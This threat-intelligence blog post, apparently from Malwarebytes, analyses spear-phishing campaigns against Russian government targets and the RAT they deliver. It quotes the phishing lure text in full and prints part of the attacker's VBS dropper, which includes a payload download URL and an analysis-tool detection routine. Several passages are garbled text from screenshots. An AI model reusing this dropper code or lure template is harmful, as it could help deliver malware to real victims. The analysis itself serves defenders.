Unknown APT group has targeted Russia repeatedly since Ukraine invasion

Malwarebytes.com/blog/threat-intelligence/2022/05/unknown-apt-group-has-targeted-russia-repeatedly-since-ukraine-invasion

Threat Intelligence Team

May 23, 2022



An unknown Advanced Persistent Threat (APT) group has targeted Russian government entities with at least four separate spear phishing campaigns since late February, 2022.

The campaigns, discovered by the <u>Malwarebytes Threat Intelligence team</u>, are designed to implant a Remote Access Trojan (RAT) that can be used to surveil the computers it infects, and run commands on them remotely. The malware uses a number of advanced tricks to hide what it does and how it works, but our analysts have been able to reverse engineer the malware, reveal its inner workings, and uncover some clues about its possible origins.

Attribution is always difficult, and there is no shortage of countries or agencies with an interest in getting covert access to Russian government computers—and the recent invasion of Ukraine has simply increased the stakes. Although our analysis and attribution efforts are ongoing, we have discovered some indicators that suggest the threat actor may be a Chinese group.

The campaigns

The APT group has launched at least four campaigns since late February, using a variety of lures, detailed below.

1. Interactive map of Ukraine

The threat actor started this campaign around February 26, 2022, and distributed its custom malware with the name interactive_map_UA.exe, trying to disguise it as an interactive map of Ukraine. This campaign began a few days after Russia invaded Ukraine, which shows the threat actor was monitoring the situation between Ukraine and Russia and took advantage of it to lure targets in Russia.

2. Log4j patch

In this campaign the threat actor packaged its custom malware in a tar file called Patch_Log4j.tar.gz, a fake fix for December's high-profile Log4j vulnerability.

This campaign ran in early March and was primarily aimed at RT TV (formerly Russia Today or Rossiya Segodnya, a Russian state-controlled international television network funded by the Russian government). The APT group had access to almost 100 RT TV employees' email address.

The emails were sent with the subject "Ростех. ФСБ РФ. Роскомнадзор. Срочные сиправления уязвимостей", which translates into "Rostec. FSB RF. Roskomnadzor. Urgent Vulnerability Fixes". (<u>Rostec</u>is a Russian state-owned defense conglomerate founded by Putin.)

The emails also come with a number of image files and a PDF attached, perhaps to make the email less suspicious, and to bypass any systems that flag emails by number of attachments.



 $\mathbf{\mathbf{\Theta}}$

The PDF attachment—0 кибербезопасности 3.1.2022.pdf—pretends to be from the "Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation". It contains instructions about how to execute the fake patch, as well as a bulleted list of security advice such as "Use two-factor authentication", "Issue separate credit cards for purchases", and "Use Kaspersky antivirus".



МИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ, СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНАЯ СЛУЖБА ПО НАДЗОРУ В СФЕРЕ СВЯЗИ, ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ И МАССОВЫХ КОММУНИКАЦИЙ (РОСКОМНАДЗОР)

Уважаемы граждане!

В связи с участившимися случаями проведения кибер атак по органам Государственно власти Российской Федерации, а так же объявлением Федеральной Службой Безопасности критического уровня кибер угроз Национальным координационным центром по компьютерным инцидентам совместно с Федеральной службой по надзору в сфере связи, информационных технологий и массовых коммуникаций при поддержке Государственной корпорации «Ростех» были разработаны методические рекомендации для обеспечения повышения уровня технической защиты информации с учётом информационных, потребительских, технических и коммуникативных аспектов информационной безопасности (далее – методические рекомендации) разработаны в соответствии с пунктом 8 приказа № 88 Минкомсвязи России 27 февраля 2020 года «Об утверждении плана мероприятий по реализации Концепции информационной безопасности детей на 2021-2022 годы».

С учетом с использования злоумышленниками определенных уявимостей программного и серверного типа для получения доступа к информации пользователей был выпущен программный патч для обновления системы типа Windows 10 закрывающий уязвимость CVE-2021-44228 (уровень опасности 10.0)

Список методических рекомендаций :

 В приложении письма находится архив Logs4jpatch.tar.gz содержащий файл Logs4jpatch.exe. При выполнение данного файла будут изменены права записи системных файлов для java, и закрыта возможность эксплуатации данной уязвимости. Так же, в связи с перезаписью системных файлов возможны срабатывания антивируса на некоторых системах. Результат проверки данного файла на всех антивирусных системах вы можете увидеть по ссылке:

https://www.virustotal.com/gui/file/8e3c1b02c8a33bb982b45ab80d14a117c624ddc4ab6e84989784 8e256487f16f

- 2. Используйте двухфакторную аутентификацию.
- 3. Обновите версию Java до Log4j 2.17.1 (Java 8), 2.12.4 (Java 7) and 2.3.2 (Java 6)
- 4. Регулярно обновляйте пароли.
- 5. Ограничивайте доступ приложениям .
- 6. Убирайте геолокацию.
- 7. Настраивайте приватность в соцсетях.
- 8. Используйте почту для пересылки документов.
- 9. Оформляйте отдельные кредитные карты для покупок.
- 10. Обновляйте ПО по расписанию.
- 11. Скачивайте ПО только с официальных сайтов
- 12. Не используйте публичные Wi-Fi.
- 13. Используйте антивирус Касперский.
- 14. Не открывайте и не отвечайте на подозрительные письма.

In a confident demonstration of just how little attention people pay to such lists it ends "Do not open or reply to suspicious emails."

hum

А.В. Никитиз

The list even includes a <u>link to a page on VirusTotal</u>that proclaims in bright green letters that "No security vendors and no sandboxes flagged this file as malicious". This is just another effort to convince the victims that the attachment is not malicious—the file on VirusTotal has nothing to do with the attachment and appears to be a legitimate OpenVPN file.



In another effort to build trust, the spear phishing email links to the website rostec.digital, a domain registered by the threat actor, hosting a site made look like the <u>official Rostec website</u>.

This email also contains links to fake Instagram and Facebook accounts. Interestingly, the threat actor created the Facebook page in June 2021, nine months before it was used in this campaign. This was probably an attempt to attract followers, to make the page look more legitimate, and it suggests the APT group were planning this campaign long before the invasion of Ukraine.







Rostec.digital

Information technology company

More •

🔗 Send Message

...

...



ews Videos Photos





Рассказываем еще об одном высокотехнологичном направлении «Интернет вещей» нацпрограммы «Цифровая экономика РФ», ответственной за развитие которого является Госкорпорация Ростех.

Интернет вещей (IoT) представляет собой совокупность объединенных в единую сеть устройств или систем, которые осуществляют сбор данных, обмен ими и могут удаленно контролироваться через сеть Интернет с помощью ПО на компьютерах, смартфонах или через другие интерфейсы.

По прогнозам McKinsey, эконо... See more





3. Build Rostec

The Rostec defense conglomerate also appears in the third campaign. This time the threat actor used the file name build_rosteh4.exefor its malware—an apparent attempt to make it look like software from Rostec.

4. Saudi Aramco job

The most recent campaign occured in mid April and used a Word document containing a fake job advert for a "Strategy and Growth Analyst" position at <u>Saudi Aramco</u>as a lure.

(We also discovered a self-extracting archive file that belonged to this campaign—the archive file used a Jitsi video conferencing software icon as decoy, and created a directory named Aramcounder

C:ProgramData

.)

Although the job advert is written in English, it also contains a message in Russian, asking users to enable macros.

Q Tell I	me what you w	mikhaylin.do /ant to do	cx [Compatib	ility Mode] - V	Vord				
2↓ ¶ } - ⊞ -	AaBbCcL Emphasis	AaBbC Heading 1	AaBbCcI 1 Normal	AaBbCcl Strong	AaBbCcD Subtitle	AaB	AaBbCcI ¶No Spac	AaBbCcI Subtle Em	<i>Aai</i> Inte
G.							St	yles	
	Haxmun	e «Paзрешить ре, : Strategy & Grow и: Remote/Saudi A Within a Couple M n: Full-Time :: +	This docum дактирование» и th Analyst rabia ionths es and financial a es and financial a conths es and financial a conths	ent is protected b («Разрешить сор Cumen*	у Містозоft®. цержимое» для п обојо осоо	росмотра докум			

The document uses <u>remote template injection</u>to download a macro-embedded template, which executes a macro that drops a VBS script called HelpCenterUpdater.vbsin the

%USER%DocumentsAdobeHelpCenter

directory.

The template also seems to do a redundant check for the existence of

%USER%DocumentsD5yrqBxW.txtand only if it doesn't exist, will it drop the script and execute it.

The obfuscated HelpCenterUpdater.vbsscript drops another obfuscated VBS file named

UpdateRunner.vbs

and downloads the main payload—a DLL named GE40BRmRLP.dl1—from its command and control (C2) server. (Interestingly, some anti-analysis code, and code responsible for persistence, seems to be commented out in

UpdateRunner.vbs

and isn't executed.)

In another payload related to this campaign, the script seems to drop an EXE instead of a DLL, but after analyzing both it seems they share the same code.

```
'Remote url where .exe payload located
Url = "https://fatobara.com/prEHQMg45hMD/RNe/_/GJUcR0Hmr.cab"
 Function LookAt(wmiService)
      Set colltems = wmiService.ExecQuery("Select * from Win32_Process")
YtNKEFiYxx = ""
      For Each objItem In colItems
          If objItem.Name = "procexp.exe" Then
              YtNKEFiYxx = YtNKEFiYxx + "_pr" + "ocexp.e" + "xe"
          End If
          If objItem.Name = "wi" + "reshark.ex" + "e" Then
              YtNKEFiYxx = YtNKEFiYxx + "_w" + "iresh" + "ark.exe"
          End If
          If objItem.Name = "tcpd" + "ump.e" + "xe" Then
              YtNKEFiYxx = YtNKEFiYxx + "_tcpd" + "ump.exe"
          End If
      Next
      If YtNKEFiYxx = "" Then
          LookAt = True
      Else
          LookAt = False
      End If
' End Function
On Error Resume Next
Set Shell = WScript.CreateObject("WScript.Shell")
Set Request = CreateObject("WinHttp.WinHttpRequest.5.1")
Set FsObject = CreateObject("Scripting.FileSystemObject")
Set bStrm = createobject("Adodb.Stream")
'jxHwmv = "HKEY_CURRÉNT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\TorBrowser"
'DXCGUd = Shell.ExpandEnvironmentStrings("%USERPROFILE%")
'AvtnDZFvWB=Shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
'KIGso=Shell.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
'JAsNcG=Shell.ExpandEnvironmentStrings("%APPDATA%")
'pHqXSp = Hex(FsObject.GetDrive(KIGso).SerialNumber)
CurrentDir = FsObject.GetParentFolderName(WScript.ScriptFullName)
'Local exe file name
'LocalExePath = CurrentDir + "\update_21_06_22.exe"
LocalExePath = CurrentDir + "\GE40BRmRLP.dll"
LocalPath = CurrentDir + "\UpdateRunner.vbs"
'Set objWMIService = GetObject("winmgmts://" & "." & "/root/cimv2")
'Set colltems = objWMIService.ExecQuery("Select * from Win32_Process")
YtNKEFiYxx = ""
VCcEMrgBLS = 1
```

The job of the

script is to execute the DLL through rundll32.exe.



The malicious DLL contains the code that communicates with the C2 server and executes the commands it receives from it.





The malware, which is common to all four campaigns, is explained in detail in the next section.

Payload analysis

This analysis focuses on the GE40BRmRLP.dllpayload from the Saudi Aramco campaign, but the malware used in all four campaigns is essentially the same, with small differences in the code.

The DLL is heavily obfuscated and most of the library functions are statically linked. IDA is barely able to recognize any functions, though it was able to recognize a few that indicate the DLL was most likely compiled with <u>LLVM</u>. The DLL's original name is supposed to be <u>simpleloader.dll</u>, as we can see after analyzing it a bit.



Before we dive into the functionality and capabilities of this malware, let's look at various methods it uses to make the analysis difficult for us.

Anti-analysis techniques

Control Flow Flattening

All of the samples used in these campaigns use control flow flattening heavily, a technique that flattens the nested structure of a program, making analysis very difficult. We used the <u>D810</u>plugin for IDA which has the capability to deobfuscate flattened code and make the decompilation more readable.

Although there are many tools that can perform control flow flattening, in this case we suspect <u>OLLVM</u>—an obfuscator for LLVM—was used. The different samples had different levels of flattening and OLLVM allows users to specify this. Additionally we also saw what looks like the <u>Bogus Control Flow</u>LLVM pass being used.



String obfuscation

The payload's strings are obfuscated with simple XOR encoding. The decode_stringfunction which is used to decode a string takes 3 arguments: The encoded string, the destination of the decoded string, and the byte that is used while decoding the string.

Each string is decoded every time it's required by the malware.



Command and control

Before contacting its C2 server the malware derives an ID which is unique to every machine, which could be used to differentiate infections. It uses the data from the following APIs to construct the ID:

• GetFileAttributesA

on the

C:Windows

directory

- GetComputerNameA
- GetVolumeInformationA

on the

C:

drive

It then calculates a hash of this data using the Blake2b-256 algorithm and sends it when it makes the first contact with its C2.

The C2 address is decoded every time the malware sends a request. To communicate with the C2 the malware uses GETrequests in the form

url/?wSR=*data*

, where *data*contains the encoded information.

Interestingly Any.run and Fiddler fail to capture the HTTPS requests made by the malware. To make them, the malware doesn't use any library functions but instead implements everything over raw sockets, and it uses the <u>WolfSSL</u>library to implement SSL itself. Our analysis also uncovered traces of <u>http-parser</u>from ZephyrOS. The certificate used for the SSL communication is stored inside the binary as chunks of encoded strings. Initially the malware decodes this data and stores it. Later, while making the HTTPS request, it loads this data using WolfSSL's <u>loadX509orX509REQFromBuffer</u>.

After making every request the malware sleeps for a random amount of time.

		presentation of the local division of the lo			
		00007FFA1ABAD482	80CA 01	or dl,1	
		00007FFALABAD-6E5	2001	and cl,dl	
		00007FFALABAD-6E7	0808	or al,cl	
		00007FFA1A6406E9	A8 01	test al.1	
		00007FFALA840-6EB	- 0/85 05000000	ine geabbrarip, 7FFALABAD6F6	
		00007FFA1A8AD6F1	~ E9 59030000	jmp ge40brmrlp.7FFA1ABADA4F	
		00007FFA1A8AD6P5	48:8D4C24 68	lea rcx.gword ptr ss:[rso+68]	
		000007FFALABAD-6FB	E8 E0050000	call oc40brmr10.7FFASASADCE0	
		00007FFA1A840700	48:89C2	NOV COX-CAX	
		00007FFA1ABAD703	48:888C24 80000000	mov rex. oword ptr set [rep-mo]	Tran+801:"GET /Pulk+060FFRLASDTRATECHETytlespoabibs-codec6LAUEr11
		00007FFA1A840705	E8 721E0200	call getOprarlg. 7FFASABCES82	
		0000707414840710	45-898474 80000000	new money and the satisficantial raw	Transfeld: "OFT_Cheffield: official after after after after after the probability of the configuration of the conf
		000077768314840718	48:888474 98000000	now rax owerd ate ssileso-ast	Free and the second sec
		000001002338800730	4818850 20	many with manual and done to many here	
		000077774140407734	48-884/74 60000000	mov ery moned are used and	Transition of the second secon
19721		CONTRACT PROCESSING, AND	48. 888.14 EVVVVVV		District and Transformer management and post of the second of
111			12. 22211 10000000	and getter and state of the second state	make the niths remest
		00007774148487730	40:030424 A0000000	How deere per ssi rapino rak	
		0000077778148487739	8800 SD180900	mov ecx, depre per ust Prestate and a	
		100007 FF ALABAD 7 JP	8905 58180900	mov car, over a per osi [777ALAC 480A0]	
		00007FFALA640745	EX.A	mov edx,ecx	
		00007FFA1A8AD747	81C2 97979545	add edx, 45 95 97 97	
		0000777FALA640740	#JEA QL	SMD edx,1	
		00007FFALABAD750	61EA 97979545	SUB cdx, 45959797	
		00007FFA1A8AD756	OFAFCA	imul ecx, edx	
		00007FFALABAD759	8561 01	and eck,1	
		00007FFALABAD75C	83F9 00	CMD CEX.0	
		00007FFALABAD75F	0F94C1	sete cl	100000
		00007FFA1A640762	83F8 OA	CHD CAN_A	A1 '\n'
		00007FFA1AB40765	OF9CC2	set1 d1	
		00007FFA1ABAD768	8878	mov al.cl	
		CODOCTERAL SEAD TEA	2000	and al di	
		0000755444840767	2003	wher (1, d)	
		Contract Party of A state of the second	0.001	AM 51 17	
		0000777782424240765	48.01	THEFT IS I	
		000077774248407770	NO UL	101 drait and a test to the second	
		000007FFALABAD772	· 0/85 05000000	The gewoor ar ip. /// ALABAD//D	
		00007FFA1A6A0778	- ## D2020000	Jap geeoprarip.7FFALABADA4F	
		00007777ALABAD77D	- E9 00000000	3mp.ge400rmr1p.7FFALA6A0762	
		00007FFA1A6A0782	48:838C24 A0000000	of cmp gword ptr sst rsprA0 .0	
		00007FFA1A6AD78E	- OF85 00000000	ine geeobrarip.7FFA1A8AD798	
		00007777A1A640791	48:858C24 80000000	moy rex, gword per ssiersp-00	[[rsp+e0]:"GET //WSR=OSOFFRLABOTHAZDCHW3VE3exppAb3b9=cg080SLNU6231
		00007FFA1A8AD799	ES C0180200	call ge40brmr1p.7FFA1ABCF15E	
		00007FFA1A84D79E	8800 F8E50900	mov ecx.dword ptr ds: [?FFALAC48D9C]	
		00007FFA1AB4D7A4	8805 F4E50900	mov eax_dword otr dsi 7FFALAC46040	
		00007777414840744	69CA	new adv. ers	
		00007FFA1ABAD7AC	SIZA STRASSTE	sub edx. 71681447	
		000007001434880787	STEA OIL	sub adv. 1	
		00007755414040785	81/2 62246825	add adv TCERDIACT	
		CONTRACTOR A CARACTER	COLUMN CALIFORNIA	danial and addressed	
		000077774110.00785	STATLA ST	1861 014,004	
		OBDOTTPALADAD TOL	BJEL VL	drid CLX_1	
		000007FFA1A6407L1	R15A 00	cmp ecx.u	~
		OODOTYPEATWEATLC #	47:044423	S454 (110	
		€			3
net/ments /	ADALTERAL ADA	0100			
Detoprarise is					
and the second second	ODD THE REAL	0 a 0 V			
	000000000000000000000000000000000000000				
.text:000077	FFALABAD72C	ge40brmr1p.d11:50	20 40820		
.text:000077	FFALABAD72C	ge+0brmr1p.d11:50	20 +0820		
.text:000077	FFALALAD72C	ge40brmr1p.d11:30	20 #0820	ht Inducate 🎾 Grunt	9 19 19
.text:000077	FFALALAD72C	ge40brmr1p.d11:30	2c #ce2c p 4 🚛 Dunip 5 👹 Wet	h 1 Inflocale 🍃 Struct	
.text:000077	PFALABAD72C	ge40brmr1p.d11:50 Sils Dump 3 Sils Dur	'2C ≠C82C 10 4 \$15 Dump 5 ∰ Wet	th 1 In-ILocale 🎾 Struct	
.text:000077	FFALABAD72C	ge+0brmr1p.d11:30	12C ≠C82C 10 4 €16 Dump 5 👾 Wet	h 1 I∾iLocale 2 Struct	~
.text:000077 UEDump I Address 000001/FF52CE	PFALABAD72C	ge+3brmr1p.d11:50 #10 Dump 3 #10 Dum 54 20 27 37 77 53	2C ≠C82C 10 4 ∰ Dump 5 ∰ Wet 52 3D 30 35 4F 50 66 52 4 43 45 57 13 5 74 53	nh 1 IPPLiacele 2 Struct	n
.text:000077 US Dump 1 Address 000001/F5.001 000001/F5.001	PFALABAD72C	ge+3brmr1p.d11:10 the Dump 3 the Du 54 20 27 37 77 53 51 47 54 65 61 54	12C ≠C82C 10 4 ∰ Dump 5 👹 Wat 52 3D 30 35 6F 50 66 53 14 6D 48 57 13 75 74 33	th 1 IP-Look Struct AKCIE BET / Truck-05-PF/K MADT national vr 8	~
.text:000077	PFALABAD72C EB Dunp 2 Hex DSA53 42 45 DSA53 42 5 HEX DSA53 65 75	ge+3brmr1p.d11:30 ge 3brmr1p.d11:30 ge 3brmp 3 ge 3br 54 20 27 37 55 54 20 27 54 65 41 5A 10 79 43 45 44 52	2C ≠CB2C 10 4 € Dump 5 € wat 52 30 30 35 6F 50 66 52 44 63 48 57 13 76 74 33 39 30 63 62 30 42 47 30	h 1 In-Look Store	~
.text:000077 US Dump 1 Address 000001FF5.XC 000001FF5.XC 000001FF5.XC 000001FF5.XC	PFALABAD72C PB Dump 2 Hex DBA53 47 45 DBA73 75 41 DBA53 65 70 DBA53 65 70 DBA53 20 35	ge+0brmr1p.d11:50 th Dump 3 th Dum 54 20 27 37 77 53 54 40 54 66 61 54 70 70 43 24 62 64 62 45 45 55 25 74 64	2C #CB2C 10 4 €€ Dump 5 ♥ Wat 52 3D 30 35 6F 50 66 52 39 20 65 6F 30 42 47 30 29 65 65 62 74 31 32	h 1 In-Locain 2 Struct ASCII SET 7-10-01-01-01 RET 7-10-01-01-01 RET 7-10-01-01-01 RET 7-10-01-01-01 STRUCT STR	~
.text:00007/ WE Dump 1 Address 000001/FF52CI 000001/FF52CI 000001/FF52CI 000001/FF52CI	PFALABAD 72C PFALABAD 72C Hex D5A53 427 45 D5A73 75 41 D5A73 75 41 D5A73 20 35 D5A73 20 35 D5A73 20 35 D5A73 20 45	ge+0brmr1p.d11:30 gfg Dump 3 gfg Dur 54 20 2# 3# 77 53 61 4# 14 64 61 54 70 70 41 62 64 62 45 52 47 55 36 74 64 55 72 47 5 79 69	22C #C82C 10 4 € Dump 5 € Wat 52 30 30 35 6F 50 66 52 44 63 48 57 33 76 74 32 97 20 63 67 30 42 47 20 62 66 74 55 63 74 31 57 62 56 48 51 48 45 75 51 48 54 48 55 48	h 1 Induces 2 Struct ASCII ET / Not	~
.text:00007/ US Dump 1 Address 000001/F5.NCT 000001/F5.NCT 000001/F5.NCT 000001/F5.NCT 000001/F5.NCT 000001/F5.NCT	PFALABAD72C PB Dump 2 Hex DBA63 42 45 DBA73 75 45 DBA73 65 76 DBA93 65 76 DBA93 20 35 DBA93 15 47 DBA88 64 66	ge40brmr1p.d11:10 ge Dunp 3 GT Dun 54 20 27 37 77 53 54 20 41 62 64 54 70 70 41 62 64 64 57 24 77 53 64 65 72 47 71 39 63 67 76 67 67 64	22C #CB2C 10 4 ■ Dump 5 ● Wet 12 30 30 35 67 51 66 57 4 14 63 46 67 30 42 47 31 19 20 63 67 30 42 47 31 26 66 75 63 74 31 7 66 65 53 64 31 7 66 45 13 46 45 31 7 67 45 38 31 31 35 52 82 55	h 1 In-Look Store	
.text:00007/ WE Dump 1 Address 000001/F52CI 000001/F52CI 000001/F52CI 000001/F52CI 000001/F52CI 000001/F52CI 000001/F52CI	PFALABAD 72C BD Dump 2 Hex DBA53 427 45 DBA73 75 41 DBA93 65 76 DBA93 57 65 DBA93 15 47 DBA93 64 27 DBA63 65 76 DBA63 64 77 DBA63	ge40brmr1p.d11:50 gig Dump 3 97 Du 54 20 2# 3F 77 53 54 45 54 66 61 5A 70 70 61 62 6A 62 46 45 53 67 A 6A 65 72 47 13 9 63 67 6 65 67 4 78 78 64 31 4 67 8 47 78 64 31 4 67 8 47	Tac ≠CB2C 0.4 ⊈≣ Dump 5 ∰ Wat 52 30 35 6F 50 66 44 63 46 73 30 76 74 33 39 26 6F 73 30 42 47 35 6F 74 33 76 74 33 55 6F 74 34 55 6F 55 54 74 34 55 55 54 34 34 35 55 55 55 54 34 34 35 55 55 55 54 34 34 35 35 55 55 54 34 34 34 35 36	h 1 In-Locain 2 Struct ASCII 1 BCT // NOR-OSL#PIR BCT // NOR-OSL#PIR BCT // NOR-OSL#PIR CLUDIE // TACULT STORED AND AND AND AND AND AND AND AND AND AN	~
.text:00007/ WS Dump 1 Address 000001/F52CT 000001/F52CT 000001/F52CT 000001/F52CT 000001/F52CT 000001/F52CT	PFALABAD73C Hex D5A53 427 45 D6A73 75 41 D5A83 65 76 D5A93 20 35 D5A93 64 66 D5A93 64 66 D5A83 64 66 D5A83 64 66 D5A83 64 13 26	ge40brmr1p.d11:10 ge Dump 3 GT Dum 54 20 27 37 77 53 61 4F 54 66 61 54 70 70 41 62 64 62 44 57 71 39 63 67 76 64 51 76 47 76 64 31 40 76 46 67 76 64 31 40 76 46 76 64 31 40 76 46	22 ■CB2C 10 4 ■ Dump 5 ● Table 52 30 30 35 6F 50 66 52 44 63 48 57 33 56 74 31 50 20 64 52 57 42 50 20 64 52 57 42 50 20 64 52 57 42 51 20 46 51 42 64 51 51 45 46 51 45 45 45 51 22 0 46 54 54 50 27 51 35 45 45 45 45 20 27 51 35 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 45 45 20 27 51 35 45 45 45 45 45 45 45 45 45 45 45 45 45	h 1 Induces Struct ASCII GET / Ymoth-odsaf M. GET / Ymoth-odsaf M. GEN (Struct) - SLNGS 172 KCII- SUNG (Struck) TE Shove process and loss: Struct Struck) TE Struct Struck Struc	^
.text:00007/ WE Dump 1 Address 000001/F5 XC 000001/F5 XC 000001/F5 XC 000001/F5 XC 000001/F5 XC 000001/F5 XC 000001/F5 XC 000001/F5 XC	PFALABAD72C 2% Dump 2 Hex DSA63 427 45 DSA63 457 45 DSA63 65 76 DSA63 65 76 DSA63 65 76 DSA63 64 66 DSA63 64 66 DSA63 64 66 DSA63 63 72 DSA68 64 72 DSA68 74 DSA68	ge40brmr1p.d11:10 glu Dump 3	T2C ≪CB2C D 4 ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓	h 1 In-Locain Struct	n
.text:00007/ US Dump I Address 000001/F532C 000001/F532C 000001/F532C 000001/F532C 000001/F532C 000001/F532C 000001/F532C	PFALABAD72C Hex D4A63 42 45 D4A63 42 45 D4A63 42 45 D4A63 67 45 D4A63 67 45 D4A63 67 45 D4A63 67 46 D4A63 67 70 D4A63 64 66 D4A63 67 70 D4A63 61 77 D4A63 77 D4A63 77 D4A63 77 D4A63 77 D4A63 77 D4A63 77 D4A63 77 D4A63 77	ge42brmr1p.d11:10 glig Dump 3 40 Dum 54 20 2# 3F 77 53 61 4# 64 64 64 64 70 70 64 64 64 64 42 64 55 36 77 76 42 64 65 77 78 19 63 95 64 66 67 73 19 63 95 67 68 64 67 73 85 69 67 68 24 63 67	IDE #CB2C 10 ### Dump 5 ## total 12 30 35 67 50 65 14 63 61 33 64 33 64 33 13 20 20 74 107 64 117 14 62 14 51 213 74 11 75 14 62 14 31 31 64 12 74 15 26 14 51 31 12 12 14 15 26 14 51 31 12 12 14 12 20 45 14 52 13 14 12 14 12 14 12 12 14 12 12 14 12 12 14 12 14 14 14 15 13 14 15 12 14 14 14 15 14	h 1 In-Locak 2 Struct AKC33 1 BUT //NSR-ofG-PTR wegets/199-c000- gerdaptr.vvxXFTE droupegraparsible: droupegraparsible: bydit.vrait HTP/ 1.1Rott: ArtTos ctimet Content and	
.text:00007/ US Owne I Address 000001/F152C 000001/F152C 000001/F152C 000001/F152C 000001/F152C 000001/F152C 000001/F152C 000001/F152C	PFALABAD 72C	ge43brmr1p.d11:10 ge43brmr1p.d11:10 gig Dump 3 gig Du 54 20 2# 3# 77 83 14 70 14 64 54 54 70 70 41 64 64 54 70 70 41 64 64 54 54 72 45 55 74 64 55 72 47 71 19 61 56 74 64 57 76 64 77 56 64 77 56 47 50 66 76 64 76 64 77 50 66 76 64 50 76 64 50 76 66 77 50 67 50 67 50 76 50 76 5	T2C #CB2C 04 ## Dump 5 # Nat 14 ## Dump 5 # Nat 12 32 32 87 90 83 19 06 87 13 74 33 17 74 31 72 64 13 74 31 77 64 14<	h 1 In-Look Struct ASCII ECT / Yngi - Color PIE ECT / Yngi - Color PIE Color All Structure - SLAUGE / 142 SEC EF - Subridge / 142 SEC EF -	
.text:00037/ US Dump 1 Address 000031/F5XC 000031/F5XC 000031/F5XC 000001/F5XC 000001/F5XC 000001/F5XC 000001/F5XC 000001/F5XC 000001/F5XC 000001/F5XC	PFALALAD 72C	ge40brmrlp.dl1:30. Ge0bmrj3 Ge0br 54 30 2F 3F 75 3 54 30 2F 3F 75 3 54 50 2F 3F 3F 75 3 54 50 2F 3F 3F 3 55 50 2F 3F 3 55 50 2F 3F 3F 3F 3 55 50 2F 3F	20. #CB2C 10 4 #E Dump 5 W task 52 10 30 55 10 56 57 10 52 10 30 55 10 50 64 52 50 10 57 13 56 57 13 56 57 13 50 10 <	h 1 Inclusion Struct	, ,
.text:00007/ UE Cump 1 Address Concol:+F:SC Concol:+F:SC Concol:+F:SC Concol:+F:SC Concol:+F:SC Concol:+F:SC Concol:+F:SC Concol:F:SC Conc	PFALABAD 72C PFALABAD 72C PHEN DEACS 42 HERN DEACS 42 DEACS	ge43brmr1p.d11:10 gig Dump 3 gig Dum 54 20 27 37 77 51 64 70 44 64 24 44 65 44 75 44 64 54 74 64 44 75 74 64 67 73 19 56 76 64 67 73 19 57 76 64 31 47 76 64 77 76 64 31 47 77 64 77 76 64 31 47 77 64 77 76 64 31 47 77 64 77 76 76 97 66 77 64 77 76 76 97 66 77 66 77 76 76 97 66 77 66 77 76 76 97 67 66 77 76 76 97 67 67 76 67 77 67 77 77 77 77 77 78 77 77 77 77 77 77 78 77 77 77 77 77 77 79 77 77 77 77 77 70 77 77 77 77 77 70 77 77 77 77 70 77 77 77 77 70 77 77 77 77 70 77 77 70 77 77 77 70 77 77 70 77 77 77 70 77 77 77 70 77 77 77 70 77 77 77 77 77 77 77 77 77 77 77 77 7	T2C #CB2C 10 ### Dump 5 ## total 52 20 25 57 50 65 50 54 20 25 57 50 66 52 50	th 1 In-Flocale Struct ASC31 GET / YM2R-of GAP KR. UNADTHABC HAIL AND	
.text:00007/ UUD0/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC 00003/PESC	PFALALAD 72C	ge40brmr1p.d11:30 ge40brmr1p.d11:30 ge00mp3 ge0 ge0 0 ge 3 ge 2 ge0 0 ge 3 ge 2 ge0 0 ge 3 ge0 0	20 #CB2C 20 4 #Dump 5 10 10 51 20 30 51 17 10 64 10 52 30 30 57 13 74 30 34 11 74 30 90 03 67 53 67 13 74 31 74	ASC II Terl Localn Struct ASC III BET = 7 months the result of a second se	
.text:00007/ #20.mpti #367ess 000001/F12CT 0000001/F12CT 000000000000000000000000000000000000	PFALABAD 72C PFALABAD 72C PHONE 2 Heav DBA63 421 45 DBA72 75 41 DBA52 45 75 DBA73 154 45 DBA53 454 45 DBA53 454 455 DBA53 454 455 DBA53 454 455 DBA53 84 455	ge40brmrlp.dl1:80 Ge0bmp3 (F) 41 54 20 2F 3F 7F 53 54 20 2F 3F 7F 53 54 20 41 65 48 5A 70 70 41 65 48 5A 70 70 41 65 48 5A 70 70 41 65 47 18 63 4F 76 45 67 68 67 68 67 76 43 31 47 78 43 16 0 5F 68 57 68 67 16 0 5F 68 57 16 0 5F 68 57 16 0 5F 68 57 16 0 5F 68 58 16 0 56 58 16	Tot County 5 County 5 County 5 County 5 10 4 10 10 10 10 10 12 10 30 15 17 10 16 12 13 10 10 10 10 10 10 10 14 61 11 10 10 10 10 10 10 152 10<	ch 1 Inclusion Struct	
